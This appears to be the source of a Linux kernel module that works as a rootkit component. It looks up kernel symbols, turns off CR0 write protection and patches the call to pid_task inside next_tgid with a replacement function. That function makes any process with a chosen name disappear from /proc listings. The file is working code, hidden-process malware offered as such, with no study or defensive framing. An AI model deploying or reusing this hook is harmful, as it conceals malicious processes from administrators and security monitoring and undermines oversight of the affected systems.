
#include <asm/unistd.h>
#include <linux/kernel.h>
#include <linux/kallsyms.h>
#include <linux/mm.h>
#include <linux/version.h>
#include <linux/sched.h>
#include "hide_hook.h"
#define CALL 0xe8
#define ADDR(addr) (((addr)&0x00000000ffffffff) | 0xffffffff00000000)
static unsigned long old_proc_fill_cache;
static unsigned long old_next_tgid;

extern char name[64];
static int inline_hook_flag;
extern void set_cr0_write(void);
extern void unset_cr0_write(void);

struct tgid_iter
{
	unsigned int tgid;
	struct task_struct *task;
};
typedef struct dentry *instantiate_t(struct dentry *,
				     struct task_struct *, const void *);
struct task_struct *(*old_proc_fill_cache_func)(struct pid *pid, enum pid_type type);
struct task_struct *my_pid_task(struct pid *pid, enum pid_type type)
{
	struct task_struct *result = NULL;
	if (pid)
	{
		struct hlist_node *first;
		first = rcu_dereference_check(hlist_first_rcu(&pid->tasks[type]),
					      lockdep_tasklist_lock_is_held());
		if (first)
			result = hlist_entry(first, struct task_struct, pids[(type)].node);
	}
	if (result)
	{
		//printk("name=%s\n", result->comm);
		if (!strcmp(result->comm, name))
			return NULL;
	}
	return result;
	//return old_proc_fill_cache_func(pid, type);
}
static int get_addr(void)
{
	unsigned long aa;
	aa = kallsyms_lookup_name("has_pid_permissions");
	printk("has_pid_permissions addr=%lx\n", aa);

	old_proc_fill_cache = (unsigned long)kallsyms_lookup_name("pid_task");
	if (!old_proc_fill_cache)
	{
		printk("get prof_fill_cache addr err\n");
		return -1;
	}
	old_proc_fill_cache_func = (void *)old_proc_fill_cache;
	old_next_tgid = (unsigned long)kallsyms_lookup_name("next_tgid");
	if (!old_next_tgid)
	{
		printk("get prof_pid_readdir addr err\n");
		return -1;
	}

	return 0;
}
int inline_hook(unsigned char *p, unsigned long old, unsigned long new)
{
	uint64_t pfn_offset = 0;
	char *ptr = NULL;
	int i = 0;
	unsigned long call_addr = 0;
	unsigned long offset = 0;
	uint64_t pfn_func = 0;

	for (i = 0; i < 4096; i++)
	{
		if ((p[i] == CALL))
		{
			call_addr = (unsigned long)(p + i + 1);
			ptr = (char *)(ADDR(call_addr));
			if (!ptr)
				continue;
			offset = ADDR(*(unsigned long *)ptr);
			pfn_offset = ADDR((unsigned long)(ptr + 4));
			if ((uint32_t)(ADDR(old - pfn_offset)) ==
			    (uint32_t)offset)
			{
				printk("ptr = %p\n", ptr);
				pfn_func = new - pfn_offset;
				unset_cr0_write();
				*(uint32_t *)ptr = (uint32_t)pfn_func;
				set_cr0_write();
				return 0;
			}
		}
	}
	printk("find prof_fill_cache err\n");
	return -1;
}
int inline_hook_init(void)
{
	if (inline_hook_flag)
		return 0;
	if (get_addr())
		return -1;
	if (inline_hook((unsigned char *)old_next_tgid, old_proc_fill_cache, (unsigned long)my_pid_task))
	{
		printk("hook prof_fill_cache err\n");
		return -1;
	}
	inline_hook_flag = 1;
	return 0;
}
void inline_hook_exit(void)
{
	if (!inline_hook_flag)
		return;
	inline_hook((unsigned char *)old_next_tgid,(unsigned long)my_pid_task, old_proc_fill_cache);
	inline_hook_flag = 0;
}